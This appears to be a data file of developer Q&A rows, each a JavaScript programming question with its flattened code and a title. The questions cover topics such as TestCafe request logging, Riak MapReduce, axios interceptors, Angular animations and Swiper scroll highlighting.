( 'ready-to-show ' , function ( ) { apiWrapper.ping ( function ( response ) { if ( response.error ) { app.quit ( ) ; } else { window.show ( true ) ; } } ) ; } ) ;",NodeJS and Electron - request-promise in back-end freezes CSS animation in front-end "JS : The page I am testing makes a POST ajax request when clicking a button . I would like to test , if the parameters that are being sent in this request are correct . How would I go about that ? This is , what I tried : But logger.request is undefined . Also logger.requests.length is 0.I would appreciate it , if someone could show me how I can check the request body ? import { RequestLogger , Selector } from '../../../node_modules/testcafe ' ; const requestUrl = 'http : //localhost:8080/mypage/posttarget ' ; const logger = RequestLogger ( { url : requestUrl , method : 'post ' } , { logRequestBody : true , logRequestHeaders : true } ) ; fixture ` Notifications ` .page ( 'http : //localhost:8080/mypage ' ) .requestHooks ( logger ) ; test ( 'notification request contains id ' , async t = > { await t .click ( ' # submit-notification ' ) .expect ( logger.request.body.id ) .eql ( 1 ) ; } ) ;",Testcafe : How to test POST parameters of request "JS : So basically I am using jQuery post to do an ajax call to an external php page and then I echo out the result , and then display it on the actual page.The problem is , whenever the external php page returns some javascript , it 's not being displayed on the actual page . Javascript being returned My jQueryNow generally , when iframes are being returned , they are showing perfectly fine in the # videoContainer id , however , whenever that javascript embed code is being returned , it 's not displaying anything in the # videoContainer id . But I can definitely confirm that the external php page is returning the data since I can see it in the console . So , how can I fix this ? < script type= '' text/javascript '' > z_media = `` SQgeKL07Nr '' ; z_autoplay=false ; z_width=899 ; z_height=506 ; < /script > < script type= '' text/javascript '' src= '' http : //www.zunux.com/static/js/embed.js '' > < /script > function videoGrabber ( mirror_id , video_version , firstVideo_version , videoNumber ) { jQuery.post ( `` /path/to/my/external/php/file.php '' , { firstParam : mirror_id , secondParam : video_version , thirdParam : firstVideo_version } , function ( data ) { //this is your response data from serv console.log ( data ) ; jQuery ( ' # videoContainer ' ) .html ( data ) ; } ) ; return false ; }","javascript code being returned through ajax , but not displaying" "JS : I am working on a nodejs application in combination with riak / riak-js and run into the following problem : Running this request corretly returns all 155.000 items stored in the bucket logs with their IDs : If I specify a map-Funktion and use only a few of the items in the bucket logseverything is working fine and the following , expected output is returned : If I now want riak to map all items ( about 155.000 small json docs ) in the bucket `` logs '' I only receive errors : What does happen here ? In the Error-Object nothing useful is written.Update : The riak-console says the following multiple times : After incrementing map_js_vm_count in riaks app.config to 36 , the message turns into : Links : Basho Labs Riak Driver riak-js db.mapreduce .add ( 'logs ' ) .run ( ) ; [ 'logs ' , '1GXtBX2LvXpcPeeR89IuipRUFmB ' ] , [ 'logs ' , '63vL86NZ96JptsHifW8JDgRjiCv ' ] , [ 'logs ' , 'NfseTamulBjwVOenbeWoMSNRZnr ' ] , [ 'logs ' , 'VzNouzHc7B7bSzvNeI1xoQ5ih8J ' ] , [ 'logs ' , 'UBM1IDcbZkMW4iRWdvo4W7zp6dc ' ] , [ 'logs ' , 'FtNhPxaay4XI9qfh4Cf9LFO1Oai ' ] , ... . db.mapreduce .add ( [ [ 'logs ' , 'SUgJ2fhfgyR2WE87n7IVHyBi4C9 ' ] , [ 'logs ' , 'EMtywD1UFnsq9rNRuINLzDsHdh2 ' ] , [ 'logs ' , 'ZXPh5ws8mOdASQFEtLDk8CBRn8t ' ] ] ) .map ( function ( v ) { return [ `` asd '' ] ; } ) .run ( ) ; [ 'asd ' , 'asd ' , 'asd ' ] db.mapreduce .add ( 'logs ' ) .map ( function ( v ) { return [ `` asd '' ] ; } ) .run ( ) ; { [ Error : [ object Object ] ] message : ' [ object Object ] ' , statusCode : 500 } [ notice ] JS call failed : All VMs are busy . [ error ] Pipe worker startup failed : fitting was gone before startup",Riak fails at MapReduce queries . Which configuration to use ? "JS : Could you tell me why we need to use the getPropertyValue method if we can use only the getComputedStyle one ? For example , this will work , as far as I understand : Which is equivalent to the following : Can we use getComputedStyle without getPropertyValue ? var s = getComputedStyle ( element , null ) .opacity ; var s = getComputedStyle ( element , null ) .getPropertyValue ( 'opacity ' ) ;",Is the 'getPropertyValue ' method required for retrieving CSS ? "JS : What I want is , there is a textbox with maximum length of 5 . The values allowed are..any integer // for example 1 , 3 , 9 , 9239 all are validreal number , with exaclty one point after decimal // eg . 1.2 , 93.7 valid and 61.37 , 55.67 invalidit is also allowed to enter only decimal and a digit after that , that is .7 is valid entry ( would be considered as 0.7 ) I found this page , http : //www.regular-expressions.info/refadv.htmlSo what I thought is thatThere is a digitIf there is a digit and a decimal after that , there must be one number after thatIf there is no digit there must be a decimal and a digit after thatSo , the regex I made is..overall expression = > But it does n't outputs anything..Here 's the fiddlehttp : //jsfiddle.net/Fs6aq/4/ps : the pattern1 and pattern2 there , are related to my previous question . a single digit one or more = > /d+ an optional decimal point followed by exactly one digit = > ( ? : [ . ] \d { 1 } ) ? if first condition matches = > ( ? ( first condition ) = > ( ? ( ( ? < =\d+ ) then , match the option decimal and one exact digit = > ( ? ( ( ? < =\d+ ) ( ? : [ . ] \d { 1 } ) ? else = > |find if there is a decimal and one exact digit = > ( ? : [ . ] \d { 1 } ) { 1 } check the whole condition globally = > /gm ( ? ( ? < =\d+ ) ( ? : [ . ] \d { 1 } ) { 1 } | ( ? : [ . ] \d { 1 } ) { 1 } ) +/gm",what 's wrong with this regular expression ( if else regex ) "JS : I am working on the existing codoCircle . Put the volume down.It works out as expected.Now i want to use the same code here in codepen and i get this errorTypeError : Failed to set the 'buffer ' property on 'AudioBufferSourceNode ' : The provided value is not of type 'AudioBufferI did a bit of research and i have found the first answer useful.The answer saysAt the time i assign in the playSound player.buffer = buffer , buffer is still undefined because the load callback has n't fired.This makes sense to me , so then i have tried to do asetTimeout like : It did not work out.Do you know any workaround for this ? And why in CodeCircle works and not in Codepen ? setTimeout ( playSound , 9000 ) ;",TypeError : Failed to set the 'buffer ' property on 'AudioBufferSourceNode ' : The provided value is not of type 'AudioBuffer "JS : Here 's a sample of creating a div next to the cursor position on click : view sampleIt creates a div where i click inside the container div but clicking too close to the borders creates a div beyond the container . Divs created should appear entirely inside the container even if the cursor is too close to the border . What do I have to change or add ? : ) Problem -- > MyImage goes beyond the borderGoal -- > Red dots indicate the clicks doneNote : I do n't need the red dots.I just placed it there to show that when I click on that spot , the result would be the imagedivHTML : JavaScript : CSS : < div id= '' contain '' > < /div > $ ( function ( ) { $ ( `` # contain '' ) .click ( function ( e ) { var x = e.pageX + 'px ' ; var y = e.pageY + 'px ' ; var img = $ ( ' < img src= '' '' alt= '' myimage '' / > ' ) ; var div = $ ( ' < div > ' ) .css ( { `` position '' : `` absolute '' , `` left '' : x , `` top '' : y } ) ; div.append ( img ) ; $ ( document.body ) .append ( div ) ; } ) ; } ) ; # contain { height:300px ; width:300px ; border : 1px solid black ; }",create div where i click within the container "JS : I am trying to transform some es5 code to es6 and I stumbled upon the following code and I am wondering if I could replace the util.inherits with the extends keyword for classes . I am a bit confused if they do the same thing.ES5ES6 var EventEmitter = require ( 'events ' ) .EventEmitter ; var util = require ( 'util ' ) ; function TheEmitter ( ) { EventEmitter.call ( this ) ; } util.inherits ( TheEmitter , EventEmitter ) ; const EventEmitter = require ( 'events ' ) .EventEmitter ; class TheEmitter extends EventEmitter { ... }",Can i replace util.inherits with es6 's extend keyword ? "JS : So I have a problem with my Vue application , where my axios intercept does n't apply the authorization token.As you can see I 've console logged my Token , before applying it to the Auth header , however this is what I get in my console log.On the first request the token prints just fine , but inside the header , it 's set as null and I get a 422 responseon the second API request , my token applies just fine , and I receive data back . axios.interceptors.request.use ( config = > { let token = localStorage.getItem ( `` jwt_token '' ) console.log ( `` Token is : `` , token ) console.log ( typeof token ) if ( token ) { axios.defaults.headers.Authorization = ` Bearer $ { token } ` } console.log ( config ) return config } ) ;",Axios Intercept not applying token from localStorage on first call "JS : I have a navigation bar and a sub-navigation bar in my app . In the sub bar it 's possible to press on a button and I want this button to open a new sub bar which will hide the original bar.The new sub bar should slide from behind the main bar and hide the second bar.Problem is : When the third bar appears it bounces instead of appear smoothlyWhen the third bar disappears it just disappears and does n't slide back up as I would expectI tried playing with the top property thinking it might solve the issue , but it hasn't.I 'm attaching here the snippet . Or you can view it in jsfiddle angular.module ( 'myapp.controllers ' , [ ] ) ; var app = angular.module ( 'myapp ' , [ 'myapp.controllers ' , 'ngAnimate ' , ] ) ; angular.module ( 'myapp.controllers ' ) .controller ( `` BarController '' , function ( $ scope ) { $ scope.showActionsBar = false ; $ scope.cancelAction = function ( ) { $ scope.showActionsBar = false ; } $ scope.click = function ( ) { $ scope.showActionsBar = true ; } } ) ; .navbar-deploy { background-color : red ; border : solid transparent ; } .third , .sub-navbar-fixed { background-color : black ; width : 100 % ; height:60px ; padding-top : 18px ; margin-bottom : 0px ; z-index : 1000 ; color : white ; } .actions-bar { top : 40px ; background-color : yellow ; position : fixed ; padding-left : 0px ; z-index : 1001 ; } .sub-bar { padding-top : 40px ; } .third-in , .third-out { -webkit-transition : all ease-out 0.3s ; -moz-transition : all ease-out 0.3s ; -ms-transition : all ease-out 0.3s ; -o-transition : all ease-out 0.3s ; transition : all ease-out 0.3s ; -webkit-backface-visibility : hidden ; } .third-in.myhidden-remove , .third-out.myhidden-add.myhidden-add-active { display : block ! important ; top : -2000px ; z-index : 0 ; } .third-out.myhidden-add , .third-in.myhidden-remove.myhidden-remove-active { display : block ! important ; top : -80px ; z-index : 1001 ; } .myhidden { visibility : hidden ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular.js/1.3.15/angular.min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/font-awesome/4.2.0/css/font-awesome.min.css '' rel= '' stylesheet '' / > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.1/css/bootstrap.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular-ui-bootstrap/0.12.1/ui-bootstrap-tpls.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular.js/1.3.15/angular-animate.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/angular-ui/0.4.0/angular-ui.min.js '' > < /script > < div ng-app= '' myapp '' > < div ng-controller= '' BarController '' > < div class= '' navbar-deploy navbar navbar-default navbar-fixed-top '' > < div class= '' container-fluid '' > < div class= '' col-lg-2 '' > First Toolbar < /div > < /div > < /div > < div class= '' sub-bar '' > < div class= '' sub-navbar-fixed '' ng-cloak > < div class= '' container-fluid '' > < span > < a ng-click= '' click ( ) '' > < span > Second Toolbar < /span > < /a > < div class= '' actions-bar third third-in third-out '' ng-cloak ng-class= '' { 'myhidden ' : ! showActionsBar } '' > < div class= '' container-fluid form-group '' > < span class= '' col-lg-10 '' > < div class= '' col-lg-2 col-lg-offset-1 '' > < a ng-click= '' cancelAction ( ) '' > Back < /a > < /div > < /span > < /div > < /div > < /span > < /div > < /div > < /div > < /div > < /div >",Animated sliding div bounces instead of appear/disappear smoothly "JS : building upon the $ .fn.serializeObject ( ) function from this question , i 'd like to be able to support `` dot notation '' in my form names , like so : given that $ ( 'form ' ) .serializeArray ( ) produces the following : how could i achieve the desired result below : any help would be appreciated.EDIT : to be specific , the desired code would be added to the serializeObject extension so that in addition to the way it works now , it would also support the above convention . here 's the existing method for convenience.EDIT 2 : feeding off the answer provided , here 's my current implementation : you can see it in action here < form > < input name= '' Property.Items [ 0 ] .Text '' value= '' item 1 '' / > < input name= '' Property.Items [ 0 ] .Value '' value= '' 1 '' / > < input name= '' Property.Items [ 1 ] .Text '' value= '' item 2 '' / > < input name= '' Property.Items [ 1 ] .Value '' value= '' 2 '' / > < /form > [ { `` name '' : '' Property.Items [ 0 ] .Text '' , '' value '' : '' item 1 '' } , { `` name '' : '' Property.Items [ 0 ] .Value '' , '' value '' : '' 1 '' } , { `` name '' : '' Property.Items [ 1 ] .Text '' , '' value '' : '' item 2 '' } , { `` name '' : '' Property.Items [ 1 ] .Value '' , '' value '' : '' 2 '' } ] { Property : { Items : [ { Text : 'item 1 ' , Value : ' 1 ' } , { Text : 'item 2 ' , Value : ' 2 ' } ] } } $ .fn.serializeObject = function ( ) { var o = { } ; var a = this.serializeArray ( ) ; $ .each ( a , function ( ) { if ( o [ this.name ] ) { if ( ! o [ this.name ] .push ) { o [ this.name ] = [ o [ this.name ] ] ; } o [ this.name ] .push ( this.value || `` ) ; } else { o [ this.name ] = this.value || `` ; } } ) ; return o ; } ; $ .fn.serializeObject = function ( ) { var o = { } ; var a = this.serializeArray ( ) ; var regArray = /^ ( [ ^\ [ \ ] ] + ) \ [ ( \d+ ) \ ] $ / ; $ .each ( a , function ( i ) { var name = this.name ; var value = this.value ; // let 's also allow for `` dot notation '' in the input names var props = name.split ( ' . ' ) ; var position = o ; while ( props.length ) { var key = props.shift ( ) ; var matches ; if ( matches = regArray.exec ( key ) ) { var p = matches [ 1 ] ; var n = matches [ 2 ] ; if ( ! position [ p ] ) position [ p ] = [ ] ; if ( ! position [ p ] [ n ] ) position [ p ] [ n ] = { } ; position = position [ p ] [ n ] ; } else { if ( ! props.length ) { if ( ! position [ key ] ) position [ key ] = value || `` ; else if ( position [ key ] ) { if ( ! position [ key ] .push ) position [ key ] = [ position [ key ] ] ; position [ key ] .push ( value || `` ) ; } } else { if ( ! position [ key ] ) position [ key ] = { } ; position = position [ key ] ; } } } } ) ; return o ; } ;",special case of serializing form to a javascript object "JS : Why do these 2 implementations behave differently ? What exactly sets them apart when it comes to evaluating their prototypes ? Creating an object with the prototype specified : Creating an object with the constructor method : Also , why does the second implementation return both Foo { } and false ? function Foo ( ) { } // creates an object with a specified prototype var bar = Object.create ( Foo ) ; console.log ( Object.getPrototypeOf ( bar ) ) ; // returns : function Foo ( ) { } console.log ( Foo.isPrototypeOf ( bar ) ) ; // returns : true function Foo ( ) { } // creates an object with the constructor method var bar = new Foo ( ) ; console.log ( Object.getPrototypeOf ( bar ) ) ; // returns : Foo { } console.log ( Foo.isPrototypeOf ( bar ) ) ; // returns : false",Why do Object.create ( ) and new Object ( ) evaluate to different prototypes ? "JS : I have a library that have the feature of filtering objects based on some fields ( each field has a specific kind of type - more info on https : //github.com/jy95/mediaScan/wiki ) The biggest problem is to handle number properties from multiple sourceFor example : Each one must first corresponds the following regex : and then will be eval by this function : I wonder what could be a more cleaner way to do that ... Please avoid easy answer like a switch case : I tested it but it was still slower in my tests than eval ... Function constructor is for me the same thing than eval ..Previous posts I read : Evaluating a string as a mathematical expression in JavaScripthttps : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/evalhttps : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function ... // to handle number operationsexport interface NumberExpressionObject { operator : `` == '' | `` > '' | `` < `` | `` > = '' | `` < = '' ; number : number ; } // additional Propertiesexport interface AdditionalProperties { type : AdditionalPropertiesType ; name : string ; value : boolean | string | string [ ] | number | NumberSearchSyntax ; } expect ( ( libInstance.filterTvSeries ( { additionalProperties : [ { type : `` number '' , name : `` whateverFieldThatDoesn'tExist '' , value : `` < 50 '' } , { type : `` number '' , name : `` AnotherField '' , value : undefined } , { type : `` number '' , name : `` AnotherField2 '' , value : `` < =25 '' } , { type : `` number '' , name : `` AnotherField3 '' , value : `` > 25 '' } , { type : `` number '' , name : `` AnotherField4 '' , value : `` ==25 '' } , ] , season : `` > =4 '' , } ) ) ) .toEqual ( new Map ( ) , ) ; const validExpression = /^ ( ==| > | < | > =| < = ) ( \d+ ) $ / ; function resolveExpression ( property : string , expressionObject : MediaScanTypes.NumberExpressionObject , object : MediaScanTypes.TPN | MediaScanTypes.TPN_Extended ) : boolean { return eval ( ` $ { object [ property ] } $ { expressionObject.operator } $ { expressionObject.number } ` ) ; }",Js - Alternatives to eval mathematical expression with operator as string "JS : I am a bit confused as to when I should use the attrs constructor to pass props in styled-components : and when I should just pass them direcly : I understand that the first method is changing the in-line style and the second is generating a class but I 'm unsure of the implications of these differences . I have seen an error in the console that says `` Over 200 classes were generated for component styled.div . Consider using the attrs method , together with a style object for frequently changed styles . `` But at the same time it says in the docs `` The rule of thumb is to use attrs when you want every instance of a styled component to have that prop , and pass props directly when every instance needs a different one . `` Why not just use one of these methods all the time ? When should I use each one and why ? const Example = styled.div.attrs ( props = > ( { style : { color : props.color } } ) ) `` ; const Example = styled.div ` color : $ { props = > props.color } `",When do I use attrs vs passing props directly with styled-components ? "JS : Given a HTML Element object , is it possible to add the same style property twice to it without having to resort to string manipulation ? Consider the following examples : As far as I can tell , setting styles through the .style property ( e.g . element.style.color = `` blue '' ) or the .style.setProperty method ( e.g . element.style.setProperty ( `` color '' , `` blue '' ) ) overwrites existing style properties instead of appending them.Having multiple definitions of the same property allows us to take advantage of the cascading nature of CSS , letting us use more modern CSS property values when they 're available while gracefully falling back to `` good-enough '' values where more recent additions are not supported . However , the only way I can see to do something like this is through manual string manipulation . < div style= '' width : 90 % ; width : calc ( 100 % - 5em ) ; '' > < /div > < h1 style= '' font-weight : bold ; font-weight : 800 ; '' > < /h1 > < p style= '' color : # cccccc ; color : rgba ( 255 , 255 , 255 , 0.8 ) ; '' > < /p >","Is it possible , in Javascript , to add a style property twice to an element ?" "JS : There are people that are writing Backbone applications using a Backbone.d.ts . There are two use cases I want to discuss.Creating backbone applications with modules using an AMD loader ( or CommonJS I suppose as well ) Creating backbone applications using plain JSFor those in camp 1 , it is necessary that the backbone module be defined as external so that the module is able to be imported and included in the define ( ) wrapper.For those in camp 2 , it is necessary that the backbone module be defined as internal module in order to use the intellisense and not require the use of an import statement / define ( ) wrapper.Question : Is there some other way to define the module so that it can be used in both cases ? I do n't really want to have to create a fork just so that you can have eitherorand still be able to get along with your code/intellisense . // required for those using import ( 1 ) declare module `` Backbone '' { // required for those not using import ( 2 ) and backbone already exists in the global scopedeclare module Backbone {",Ambient declaration styles and modules "JS : In some consoles ( like python , ruby ’ s irb , or node ) you can access the return value from your last statement with an underscore : Is there something similar in developer ’ s tool console for chrome , or firefox ? > 'Hello '' Hello ' > _'Hello '",Get last returned value from Chrome developer tools console "JS : What I want to do*Image when scrollingLook at the moving sentences on the right.Like this , I want to highlight the < p > element each time scrolling.That is , usually it 's opacity : 0.3 ; , and when it 's scrolled , it switches to opacity : 1 ; sequentially from the top . I thought that I could do this using swiper.js . I feel like this now . Please look at the one on the right side this too.If this slider wrap reaches the height of each < p > and stops the scroll with preventDefault ( ) , I thought that the implementation would be as expected.What I triedjQuery ( Unfinished , this does n't work ) Add : Current statusPlease look at the right side.The highlight is applied as it scroll in the image location on the left.But does n't apply if it scroll in the right sentence location.And like on the way , if it press the slide navigation in the upper left , the image will move to that slide properly , but I would like to highlight the sentences as well . ( Swiper is set to synchronize images and texts ) And I found something that looked good about what I said in the second image of this question ( In fact `` the middle of the frame '' is good.. ) . - > scrollama.jsI want to do this `` Basic '' as it is.It 's setting up nth-child ( 2 ) now , but I want to change that to this . In other words , I want to1 ) Highlight when it scroll over the right sentence2 ) Left and right sync3 ) Change nth-child ( 2 ) to `` Basic '' of scrollama I made a fork that added an image and scrollama to the latest answer . Please fork this . - > JSFiddle It has become longer..Sorry , thank you by all means ! CodeJSFiddle↑ For some reason code snippets do not work well , so have a look at JSFiddle.Fullscreen Fiddle is here . ↓ Here is the code only . Could you please give me a hand ? $ ( function ( ) { $ ( `` .mai '' ) .scroll ( function ( ) { onScroll ( ) ; } ) ; onScroll ( ) ; } ) ; function onScroll ( ) { $ ( `` .main-p p '' ) .each ( function ( i ) { $ ( `` .main-p p '' ) .eq ( i ) .removeClass ( `` hl '' ) ; // mean highlight var scrPos = $ ( `` .main-p p : nth-last-child ( 2 ) '' ) ; // I want to be second from the bottom of the `` visible range '' of .mai , not of < p > if ( scrPos < active ) { // If hl ( = active ) is above the second from the bottom of the range seen in .mai $ ( '.mai ' ) .scroll ( function ( e ) { e.preventDefault ( ) ; } ) ; } else { $ ( '.mai ' ) .scroll ( ) ; // I want to return the scroll , but is this correct ? } // I want to put processing to highlight with < p > , next < p > , next < p > .. $ ( '.main-p .active ' ) .addClass ( 'hl ' ) ; } ) ; } $ ( function ( ) { $ ( `` .mai '' ) .scroll ( function ( ) { onScroll ( ) ; } ) ; onScroll ( ) ; } ) ; function onScroll ( ) { $ ( `` .main-p p '' ) .each ( function ( i ) { $ ( `` .main-p p '' ) .eq ( i ) .removeClass ( `` hl '' ) ; // mean highlight var scrPos = $ ( `` .main-p p : nth-last-child ( 2 ) '' ) ; // I want to be second from the bottom of the `` visible range '' of .mai , not of < p > if ( scrPos < active ) { // If hl ( = active ) is above the second from the bottom of the range seen in .mai $ ( '.mai ' ) .scroll ( function ( e ) { e.preventDefault ( ) ; } ) ; } else { $ ( '.mai ' ) .scroll ( ) ; // I want to return the scroll , but is this correct ? } // I want to put processing to highlight with < p > , next < p > , next < p > .. $ ( '.main-p .active ' ) .addClass ( 'hl ' ) ; } ) ; } // Processing of left & right sync with swipervar swiperCnt = new Swiper ( '.swiperCnt ' , { direction : 'vertical ' , pagination : { el : '.swiper-pagination ' , type : 'bullets ' , clickable : 'true ' , } , keyboard : { enabled : true , } , mousewheel : { forceToAxis : true , invert : true , } , renderBullet : function ( index , className ) { return ' < span class= '' ' + className + ' '' > ' + ( index + 1 ) + ' < /span > ' ; } , } ) ; var swiperP = new Swiper ( '.swiperP ' , { direction : 'vertical ' , keyboard : { enabled : true , } , mousewheel : { forceToAxis : true , invert : true , } , } ) ; swiperCnt.controller.control = swiperP ; swiperP.controller.control = swiperCnt ; /* The corresponding part is at the bottom too . ( It is faster to count from the bottom ) ( There is a mark in the comment ) */html { font-size : 62.5 % ; } body { font-size : 1.5rem ; -webkit-font-smoothing : antialiased ; -moz-osx-font-smoothing : grayscale ; background-color : # c6d2dd ; color : white ; } .wrap { height : 100vh ; display : flex ; } .left { padding : 0 0 0 2.4rem ; } .right { padding : 0 4.7rem 0 6.5rem ; position : relative ; } h2 , h3 , h4 , h5 , h6 { display : inline ; } .mission , .m-p , .concept , .c-p , .what , .target , .t-p , .main-p , .nb , .nb-p , .period , .p-p , .category , .cg-p , .class , .cl-p , .release , .r-p , .nbb , .per , .cat , .cla , .rel { display : inline-block ; } .title { font-size : 1.8rem ; padding : 1.8rem 0 1.7rem 0 ; } .solid-ti { border-bottom : .1rem solid white ; margin : 0 -56.3rem 0 -2.4rem ; } .solid-mc { border-bottom : .1rem solid white ; margin-left : -2.4rem ; } .solid-tm { border-bottom : .1rem solid white ; margin-right : -4.7rem ; } .swiper-pagination { top : 6rem ; } .swiper-container { width : 69.3rem ; height : 49.6rem ; } .swiper-slide { display : flex ; align-items : center ; } .swiper-slide img { width : 69.3rem ; } .swiper-pagination-bullet { background : none ; font-size : 1rem ; margin-right : .5rem ; opacity : .3 ; } .swiper-pagination-bullet : :before { content : ' 0 ' ; font-weight : bold ; } .swiper-pagination-bullet : hover : :before { content : ' 1 ' ; font-weight : bold ; } .swiper-pagination-bullet-active { background : none ; transform : scale ( 1 ) ; transition-duration : .16s ; opacity : .7 ; } .swiper-pagination-bullet-active : :before { content : ' 1 ' ; font-weight : bold ; } .mis { padding : 2.6rem 0 0.7rem 0 ; } .mission { padding-right : 2rem ; } .con { padding-top : 0.7rem ; } .concept { padding-right : 2rem ; } .what { margin : 2rem 1.5rem 2.1rem 0 ; display : flex ; align-items : center ; } .what > img { height : 2rem ; margin-right : .3rem ; } .what > img : last-child { margin-right : 1rem ; } .what span { font-size : 1.4rem ; border : .1rem solid white ; border-radius : .3rem ; margin-right : 1rem ; padding : .5rem .4rem .4rem ; } .tar { padding : 2.2rem 0 2rem 0 ; flex-grow : 1 ; } .target { padding-right : 1.2rem ; } .t-p { white-space : pre-wrap ; vertical-align : top ; } .heartbox { display : flex ; align-items : center ; } .heartbox div : last-child { user-select : none ; } input { opacity : 0 ; } @ keyframes rubberBand { from { transform : scale ( 1 , 1 , 1 ) ; } 30 % { transform : scale3d ( 1.15 , 0.75 , 1 ) ; } 40 % { transform : scale3d ( 0.75 , 1.15 , 1 ) ; } 50 % { transform : scale3d ( 1.1 , 0.85 , 1 ) ; } 65 % { transform : scale3d ( 0.95 , 1.05 , 1 ) ; } 75 % { transform : scale3d ( 1.05 , 0.95 , 1 ) ; } to { transform : scale3d ( 1 , 1 , 1 ) ; } } .heart { cursor : pointer ; width : auto ; height : 25px ; fill : # E2E2E2 ; } # fav : checked + label .heart { fill : # e23b3b ; animation : rubberBand 0.8s ; } /* * from here */.mai { margin : 2.8rem 0 0 0 ; height : 37.8rem ; overflow-y : scroll ; overflow-x : hidden ; -ms-overflow-style : none ; } .mai : :-webkit-scrollbar { display : none ; } .main-p { white-space : pre-wrap ; opacity : 0.3 ; } .hl { opacity : 1 ; } /* * to here */.▼ { float : right ; margin-right : 1.5rem ; } .under { text-align : right ; position : absolute ; right : 4.7rem ; bottom : 2.7rem ; } .nbb { padding-right : 4.8rem ; } .nb { padding-right : .8rem ; } .period { padding-right : 1.6rem ; } .top { font-size : 1.1rem ; padding : 2.1rem 0 2rem ; text-align : right ; } .cat { padding-right : 1.4rem ; } .category { padding-right : 1.4rem ; } .cla { padding-right : 1.4rem ; } .class { padding-right : 1.4rem ; } .rel { padding-right : 1.4rem ; } .release { padding-right : 1.4rem ; } < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.0/css/swiper.css '' rel= '' stylesheet '' / > < ! -- The corresponding part is at the bottom . ( It is faster to count from the bottom ) ( There is a mark in the comment ) -- > < body class= '' wrap '' > < div class= '' left '' > < h1 class= '' title '' > title < /h1 > < div class= '' solid-ti '' > < /div > < div class= '' swiper-pagination '' > < /div > < div class= '' swiper-container swiperCnt '' > < section class= '' swiper-wrapper imgs '' > < div class= '' swiper-slide '' > < img class= '' work '' src= '' http : //placehold.jp/45/1920a6/ffffff/693x350.png ? text=1 '' / > < /div > < div class= '' swiper-slide '' > < img class= '' work '' src= '' http : //placehold.jp/45/199fa6/ffffff/693x350.png ? text=2 '' alt= '' Rollse-killer '' / > < /div > < div class= '' swiper-slide '' > < img class= '' work '' src= '' http : //placehold.jp/45/a61972/ffffff/693x350.png ? text=3 '' alt= '' Rollse-data '' / > < /div > < div class= '' swiper-slide '' > < img class= '' work '' src= '' http : //placehold.jp/45/a6a619/ffffff/693x350.png ? text=4 '' alt= '' Rollse-image '' / > < /div > < /section > < /div > < div class= '' mis '' > < h3 class= '' mission '' > MISSION : < /h3 > < p class= '' m-p '' > sample sample sample sample sample sample sample sample < /p > < /div > < div class= '' solid-mc '' > < /div > < div class= '' con '' > < h2 class= '' concept '' > CONCEPT : < /h2 > < p class= '' c-p '' > sample sample sample < /p > < /div > < div class= '' what '' > < img src= '' http : //placehold.jp/45/d4d4d4/d4d4d4/28x20.png ? text=_ '' alt= '' 2nd '' / > < img src= '' http : //placehold.jp/45/d4d4d4/d4d4d4/20x20.png ? text=_ '' alt= '' ai '' / > < img src= '' http : //placehold.jp/45/d4d4d4/d4d4d4/20x20.png ? text=_ '' alt= '' vw '' / > < span > sample < /span > < span > sample < /span > < span > sample < /span > < span > sample < /span > < span > sample < /span > < /div > < /div > < div class= '' right '' > < div class= '' top '' > < div class= '' cat '' > < h5 class= '' category '' > CATEGORY : < /h5 > < p class= '' cg-p '' > sample sample < /p > < /div > < div class= '' cla '' > < h5 class= '' class '' > CLASS : < /h5 > < p class= '' cl-p '' > sample < /p > < /div > < div class= '' rel '' > < h5 class= '' release '' > RELEASE : < /h5 > < p class= '' r-p '' > sample < /p > < /div > < /div > < div class= '' heartbox '' > < div class= '' tar '' > < h3 class= '' target '' > TARGET : < /h3 > < p class= '' t-p '' > sample sample sample sample sample sample sample sample sample sample sample < /p > < /div > < div > < input type= '' checkbox '' name= '' fav '' id= '' fav '' > < label for= '' fav '' > < svg class= '' heart '' version= '' 1.1 '' id= '' Layer_1 '' xmlns= '' http : //www.w3.org/2000/svg '' xmlns : xlink= '' http : //www.w3.org/1999/xlink '' x= '' 0px '' y= '' 0px '' viewBox= '' 0 0 37 32 '' style= '' enable-background : new 0 0 37 32 ; '' xml : space= '' preserve '' > < path class= '' st0 '' d= '' M27,0c-2.5,0-4.9,0.9-6.7,2.6C19.6,3.2,19,4,18.5,4.7C18,4,17.4,3.2,16.7,2.6C14.9,0.9,12.5,0,10,0 C4.5,0,0,4.5,0,10c0,3.7,1.2,6.7,3.9,9.8c3.9,4.6,13.9,11.6,14.3,11.9c0.1,0.1,0.2,0.1,0.3,0.1s0.2,0,0.3-0.1 c0.4-0.3,10.4-7.3,14.3-11.9c2.7-3.2,3.9-6.1,3.9-9.8C37,4.5,32.5,0,27,0z '' / > < /svg > < /label > < /div > < /div > < div class= '' solid-tm '' > < /div > < ! -- from here -- > < div class= '' mai swiper-container swiperP '' > < section class= '' main-p swiper-wrapper '' > < p class= '' active swiper-slide '' > Here is the relevant part . It can scroll. < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample sample < /p > < p class= '' swiper-slide '' > sample sample sample sample sample sample sample < /p > < /section > < /div > < ! -- to here -- > < img src= '' http : //placehold.jp/45/d4d4d4/d4d4d4/14x12.png ? text=_ '' alt= '' ▼ '' class= '' 